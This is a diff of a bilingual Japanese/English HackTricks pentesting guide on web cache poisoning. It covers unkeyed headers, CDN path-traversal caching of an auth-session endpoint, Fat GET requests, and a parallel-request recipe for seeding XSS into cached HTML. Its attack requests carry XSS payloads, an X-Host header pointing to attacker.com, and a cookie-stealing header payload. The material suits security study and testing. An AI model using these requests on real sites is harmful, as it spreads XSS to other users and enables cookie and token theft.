../../banners/hacktricks-training.md}} -## 違い +## The difference -> **web cache poisoning と web cache deception の違いは何ですか？** +> **What is the difference between web cache poisoning and web cache deception?** > -> - **web cache poisoning** においては、攻撃者はアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、そのコンテンツがキャッシュから他のアプリケーション利用者に提供されます。 -> - **web cache deception** においては、攻撃者はアプリケーションに別ユーザーに属する機密コンテンツをキャッシュに保存させ、攻撃者はそのコンテンツをキャッシュから取得します。 +> - In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users. +> - In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache. ## Cache Poisoning -Cache poisoning はクライアント側のキャッシュを操作して、クライアントが予期しない、部分的な、または攻撃者の管理下にあるリソースを読み込ませることを目的としています。影響の範囲は対象ページの人気度に依存します。汚染されたレスポンスはキャッシュが汚染されている期間にそのページを訪れるユーザーにのみ配信されます。 +Cache poisoning はクライアント側のキャッシュを操作して、クライアントが予期しない、部分的な、または攻撃者の制御下にあるリソースを読み込ませることを目的としています。影響の範囲は汚染されたページの人気度に依存し、汚染されたレスポンスはキャッシュが汚染されている期間にそのページを訪問したユーザーにのみ配信されます。 -Cache poisoning 攻撃の実行は以下のステップを含みます: +cache poisoning 攻撃の実行にはいくつかのステップがあります: -1. **Identification of Unkeyed Inputs**: キャッシュされるために必須ではないパラメータだが、サーバーが返すレスポンスを変更できる入力を特定すること。これらの入力を特定することは、キャッシュを操作するために重要です。 -2. **Exploitation of the Unkeyed Inputs**: 特定した unkeyed inputs をどのように悪用してサーバーのレスポンスを攻撃者に有利な形に変更するかを見つけます。 -3. **Ensuring the Poisoned Response is Cached**: 操作したレスポンスがキャッシュに保存されることを確認します。こうすることで、キャッシュが汚染されている間に該当ページにアクセスしたユーザーは改ざんされたレスポンスを受け取ります。 +1. **Unkeyed Inputs の特定**: これらはリクエストがキャッシュされるために必須ではないが、サーバーが返すレスポンスを変更できるパラメータです。これらの入力を特定することが重要で、キャッシュを操作するために悪用される可能性があります。 +2. **Unkeyed Inputs の悪用**: Unkeyed Inputs を特定したら、それらのパラメータをどのように悪用してサーバーのレスポンスを攻撃者に有利な形で変更するかを見つけます。 +3. **Poisoned Response がキャッシュされることを確認**: 最後のステップは、操作されたレスポンスがキャッシュに保存されるようにすることです。こうすることで、キャッシュが汚染されている間に影響を受けたページにアクセスするユーザーは汚染されたレスポンスを受け取ります。 ### Discovery: Check HTTP headers -通常、レスポンスが**キャッシュに保存された**場合、それを示す**ヘッダー**が付加されます。どのヘッダーに注意すべきかはこの投稿を確認してください: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers). +通常、レスポンスが **stored in the cache** ときは、それを示す **header indicating so** が存在します。どのヘッダーに注意すべきかはこの投稿を確認してください: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。 ### Discovery: Caching error codes -レスポンスがキャッシュに保存されているかを確認したい場合、**無効なヘッダー**でリクエストを送ってみて、通常は**status code 400**で応答されるはずです。その後通常どおりリクエストにアクセスして、**レスポンスが 400 の status code**であれば脆弱であることがわかります（DoS を行うことさえ可能です）。 +レスポンスがキャッシュに保存されているかもしれないと思ったら、**bad header** を付けたリクエストを送ってみてください。通常は **status code 400** で応答されるはずです。次にそのリクエストを通常通りアクセスして、**response is a 400 status code** であれば、脆弱であることがわかります（場合によっては DoS を実行できることもあります）。 -以下でさらにオプションを確認できます: +You can find more options in: {{#ref}} cache-poisoning-to-dos.md {{#endref}} -ただし、**これらの種類のステータスコードはキャッシュされないことがある**ため、このテストは常に信頼できるわけではない点に注意してください。 +ただし、**sometimes these kinds of status codes aren't cached** ことがあるので、このテストは信頼できない場合があります。 ### Discovery: Identify and evaluate unkeyed inputs -ページのレスポンスを変更している可能性のあるパラメータやヘッダーを **brute-force parameters and headers** するために [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) を使うことができます。例えば、ページが `X-Forwarded-For` ヘッダーを利用してクライアントにそこからスクリプトを読み込ませるよう指示している場合があります: +You could use [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) to **brute-force parameters and headers** that may be **changing the response of the page**. For example, a page may be using the header `X-Forwarded-For` to indicate the client to load the script from there: ```html ``` ### バックエンドサーバーから有害なレスポンスを引き出す -parameter/header を特定したら、それがどのように **サニタイズ** されているか、また **どこに** **反映されている** ／ レスポンスにどのように影響しているかを確認します。これを悪用できますか（XSS を実行したり、自分で制御する JS を読み込ませることはできるか？DoS を引き起こせるか？...） +parameter/header が特定できたら、それがどのように **サニタイズされている** のか、また **どこに** **反映されている** のか、もしくは header のレスポンスにどのように影響しているのかを確認してください。悪用できますか（XSS を実行する、あなたが制御する JS コードを読み込ませる、DoS を行うなど）？ ### レスポンスをキャッシュさせる -悪用可能な **page**、どの **parameter**/**header** を使うか、そしてどのように **abuse** するかを **identified** したら、その page をキャッシュさせる必要があります。キャッシュに入るまでリソースによっては時間がかかることがあり、数秒間試行を続ける必要があるかもしれません。 +一度 **悪用可能なページ**、使用する **parameter**/**header**、およびそれを **どう** **悪用する**かを **特定** したら、そのページをキャッシュさせる必要があります。キャッシュに入れようとしているリソースによっては時間がかかることがあり、数秒間試行し続ける必要があるかもしれません。 -レスポンスのヘッダ **`X-Cache`** は、リクエストがキャッシュされていないときに値が **`miss`**、キャッシュされているときに **`hit`** になる可能性があるため非常に有用です。\ -ヘッダ **`Cache-Control`** もリソースがキャッシュされているか、次にいつ再キャッシュされるかを知るのに重要です: `Cache-Control: public, max-age=1800` +レスポンスのヘッダー **`X-Cache`** はとても有用で、リクエストがキャッシュされていないときに **`miss`**、キャッシュされているときに **`hit`** という値を持つことがあります。\ +ヘッダー **`Cache-Control`** も、リソースがキャッシュされているかどうかと、次にいつキャッシュされるかを知るのに役立ちます: `Cache-Control: public, max-age=1800` -もう一つ興味深いヘッダは **`Vary`** です。このヘッダはしばしば **追加のヘッダを示す** のに使われ、通常はキー化されないヘッダであっても **cache key の一部として扱われる** ことがあります。したがって、攻撃対象のユーザの `User-Agent` を知っていれば、その特定の `User-Agent` を使うユーザ向けに poison the cache することができます。 +もう一つ興味深いヘッダーは **`Vary`** です。このヘッダーは、通常はキー化されないヘッダーであっても、**キャッシュキーの一部として扱われる追加のヘッダーを示す** ために使用されることがよくあります。したがって、攻撃対象が使用している `User-Agent` を攻撃者が知っている場合、その特定の `User-Agent` を使うユーザー向けにキャッシュを汚染することができます。 -キャッシュに関連するもう一つのヘッダは **`Age`** です。これはオブジェクトがプロキシキャッシュに置かれてからの経過秒数を定義します。 +キャッシュに関連する別のヘッダーは **`Age`** です。これはオブジェクトがプロキシキャッシュ内にどのくらいの秒数いたかを定義します。 -リクエストをキャッシュするときは、使用するヘッダに注意してください。なぜなら一部は **予期せず** **keyed** として使われる可能性があり、**victim は同じヘッダを使う必要がある** からです。常に Cache Poisoning を **試験** するときは **異なるブラウザ** で動作を確認してください。 +リクエストをキャッシュする際は、使用するヘッダーに **注意** してください。なぜなら、一部のヘッダーは **予期せず** キー化されている可能性があり、**被害者は同じヘッダーを使う必要がある** からです。常に **異なるブラウザ** で Cache Poisoning を **テスト** して、動作確認を行ってください。 -## Exploiting Examples +## 悪用例 -### 一番簡単な例 +### 最も簡単な例 -`X-Forwarded-For` のようなヘッダがレスポンスにサニタイズされずに反映されている。\ -基本的な XSS ペイロードを送信してキャッシュを poison the cache すれば、その page にアクセスする全員が XSSed されます: +`X-Forwarded-For` のようなヘッダーがレスポンスにサニタイズされずに反映されている。\ +基本的な XSS ペイロードを送信してキャッシュを汚染すれば、そのページにアクセスする全員が XSS に遭うようにできます: ```html GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: a.">" ``` -_この操作は `/en?region=uk` へのリクエストを poison し、`/en` へのリクエストは poison しない点に注意してください_ +_Note that this will poison a request to `/en?region=uk` not to `/en`_ ### Cache poisoning to DoS @@ -81,15 +81,18 @@ cache-poisoning-to-dos.md ### Cache poisoning through CDNs -この **[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** では、次の単純なシナリオが説明されています: +**[this writeup](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** では、次の単純なシナリオが説明されています： -- CDN は `/share/` 以下のコンテンツをすべて cache します。 -- CDN は `%2F..%2F` をデコードも正規化もしません。したがって、`https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のように、cache される他の機密箇所へアクセスするための **path traversal to access other sensitive locations that will be cached** として利用できます。 -- Web server は `%2F..%2F` をデコード・正規化し、`/api/auth/session` で応答します。これは **contains the auth token**。 +- The CDN will cache anything under `/share/` + CDN は `/share/` 以下のすべてをキャッシュします +- The CDN will NOT decode nor normalize `%2F..%2F`, therfore, it can be used as **path traversal to access other sensitive locations that will be cached** like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` + CDN は `%2F..%2F` をデコードも正規化もしないため、`https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のように **path traversal to access other sensitive locations that will be cached** として利用できます +- The web server WILL decode and normalize `%2F..%2F`, and will respond with `/api/auth/session`, which **contains the auth token**. + Web サーバは `%2F..%2F` をデコードして正規化し、`/api/auth/session` に対するレスポンスを返します。これには **contains the auth token** が含まれます。 ### Using web cache poisoning to exploit cookie-handling vulnerabilities -Cookies はページのレスポンスにも反映されることがあります。例えばそれを悪用して XSS を発生させられれば、悪意ある cache response を読み込む複数のクライアントで XSS を悪用できる可能性があります。 +Cookies はページのレスポンスに反映されることもあります。たとえばそれを悪用して XSS を発生させられる場合、悪意あるキャッシュ応答を読み込む複数のクライアントに対して XSS を悪用できる可能性があります。 ```html GET / HTTP/1.1 Host: vulnerable.com @@ -97,38 +100,38 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b" ``` Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache. -### デリミタ、正規化とドットによる不一致の生成 +### 区切り文字・正規化・ドットによる差分の生成 -Check: +参照: {{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}} -### Cache poisoning with path traversal to steal API key +### Cache poisoning with path traversal による API key の窃取 -[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server. +[**この writeup は次のように説明しています**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) が、`https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のような URL で OpenAI API key を盗むことができた理由は、`/share/*` にマッチするリソースが Cloudflare による URL の正規化を経ることなくキャッシュされ、正規化はリクエストが web server に到達した時点で行われていたためです。 -This is also explained better in: +これは以下でも詳しく説明されています: {{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}} -### 複数のヘッダを使って web cache poisoning 脆弱性を悪用する +### 複数のヘッダを使って web cache poisoning 脆弱性 を悪用する -場合によっては、キャッシュを悪用するために **exploit several unkeyed inputs** が必要になります。例えば、`X-Forwarded-Host` をあなたが管理するドメインに設定し、`X-Forwarded-Scheme` を `http` にすると、**Open redirect** が見つかることがあります。**If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as the domain name for the redirect, you can control where the page is pointed by the redirect. +場合によっては、キャッシュを悪用するために**複数のキー未指定の入力を悪用する**必要があります。例えば、`X-Forwarded-Host` を自分が管理するドメインに、`X-Forwarded-Scheme` を `http` に設定すると、**Open redirect** を見つけられることがあります。さらに、**サーバ** がすべての **HTTP** リクエストを **HTTPS** に **転送** し、リダイレクト先のドメイン名としてヘッダ `X-Forwarded-Scheme` を使用している場合、リダイレクト先をあなたが制御できるようになります。 ```html GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ X-Forwarded-Scheme: http ``` -### Exploiting with limited `Vary`header +### 限定的な `Vary` ヘッダーを悪用する -もし**`X-Host`**ヘッダが**JSリソースをロードするためのドメイン名**として使用されているが、レスポンスの**`Vary`**ヘッダが**`User-Agent`**を示していることが分かったら、被害者のUser-Agentをexfiltrateし、そのuser agentを使ってキャッシュをpoisonする方法を見つける必要があります: +もし **`X-Host`** ヘッダーが **JS リソースを読み込むためのドメイン名** として使われているが、レスポンスの **`Vary`** ヘッダーが **`User-Agent`** を示している場合、被害者の User-Agent を exfiltrate し、その User-Agent を使ってキャッシュを poison する方法を見つける必要があります: ```html GET / HTTP/1.1 Host: vulnerbale.net @@ -137,9 +140,7 @@ X-Host: attacker.com ``` ### Fat Get -URL と body の両方に同じリクエストを含めた GET リクエストを送信します。 -web server が body のほうを使い、cache server が URL のほうをキャッシュしていると、その URL にアクセスする誰もが実際には body にある parameter を使うことになります。 -James Kettle が Github website で見つけた vuln のように: +URL と body に同じ request を入れて GET リクエストを送る。もし web server が body の方を使い、cache server が URL の方をキャッシュすると、その URL にアクセスした誰もが実際には body の parameter を使うことになる。James Kettle が Github のサイトで発見した vuln のように： ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -148,7 +149,7 @@ Content-Length: 22 report=innocent-victim ``` -There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) +この件に関する Portswigger の lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) ### Parameter Cloacking @@ -158,29 +159,29 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo ### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling -ここでは、[Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning) を利用してどのように攻撃を行うかを学べます。 +ここでは [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning) をどのように実行するか学べます。 ### Automated testing for Web Cache Poisoning -[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) は、web cache poisoning の自動テストに使えます。多くの手法をサポートしており、高度にカスタマイズ可能です。 +The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) は web cache poisoning の自動テストに利用できます。多くの手法に対応しており、高度にカスタマイズ可能です。 Example usage: `wcvs -u example.com` ### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js) -実際の事例では、ヘッダ反射の脆弱性と CDN/WAF の挙動を組み合わせることで、他のユーザに提供されるキャッシュされた HTML を確実に汚染するパターンが観測されます: +この実際のパターンは、ヘッダベースの反射プリミティブと CDN/WAF の挙動を連結させ、他のユーザに配信されるキャッシュされた HTML を確実に汚染します: -- メインの HTML が信頼できないリクエストヘッダ（例: `User-Agent`）を実行可能なコンテキストに反映していた。 -- CDN が cache ヘッダを削除していたが、内部／origin 側にキャッシュが存在した。CDN は静的拡張子で終わるリクエスト（例: `.js`）を自動でキャッシュし、WAF は静的アセットに対する GET に対してより緩いコンテンツ検査を適用していた。 -- リクエストフローの特異性により、`.js` パスへのリクエストが後続のメイン HTML に使われるキャッシュキー／バリアントに影響を与え、header reflection を介したクロスユーザ XSS を可能にしていた。 +- メインの HTML が未検証のリクエストヘッダ（例: `User-Agent`）を実行コンテキストに反映していた。 +- CDN は cache ヘッダを削除していたが、内部/origin のキャッシュは存在した。CDN はまた `.js` のような静的拡張子で終わるリクエストを自動キャッシュし、WAF は静的アセットの GET に対してより緩いコンテンツ検査を行っていた。 +- リクエストフローの仕様により、`.js` パスへのリクエストが後続のメイン HTML に使用される cache key/variant に影響を与え、ヘッダ反射を介したクロスユーザ XSS を可能にしていた。 Practical recipe (observed across a popular CDN/WAF): -1) クリーンな IP から（以前のレピュテーションによる扱い下げを避けるため）、ブラウザまたは Burp Proxy Match & Replace を使って悪意ある `User-Agent` を設定する。 -2) Burp Repeater で 2 つのリクエストを準備し、"Send group in parallel"（single-packet mode が最適）を使う: -- 最初のリクエスト: 同一オリジン上の `.js` リソースパスに対して、悪意ある `User-Agent` を送って GET する。 -- 直後に: メインページ（`/`）を GET する。 -3) CDN/WAF のルーティングレースと auto-cached `.js` により、汚染された HTML のキャッシュバリアントがシードされ、同じキャッシュキー条件（例: `Vary` の次元が同じ、`User-Agent` 等）を共有する他の訪問者に対して配信されることが多い。 +1) クリーンな IP から（事前のレピュテーション低下を避ける）、ブラウザや Burp Proxy の Match & Replace で悪意ある `User-Agent` を設定する。 +2) Burp Repeater で 2 つのリクエストをグループにして "Send group in parallel" を使う（single-packet mode が最適）: +- First request: GET a `.js` resource path on the same origin while sending your malicious `User-Agent`. +- Immediately after: GET the main page (`/`). +3) CDN/WAF のルーティング競合と auto-cached `.js` により、汚染されたキャッシュ済み HTML のバリアントが種付けされ、それが同じキャッシュキー条件（例: `Vary` 次元としての `User-Agent` など）を共有する他の訪問者に配信されることが多い。 Example header payload (to exfiltrate non-HttpOnly cookies): ``` @@ -188,32 +189,32 @@ User-Agent: Mo00ozilla/5.0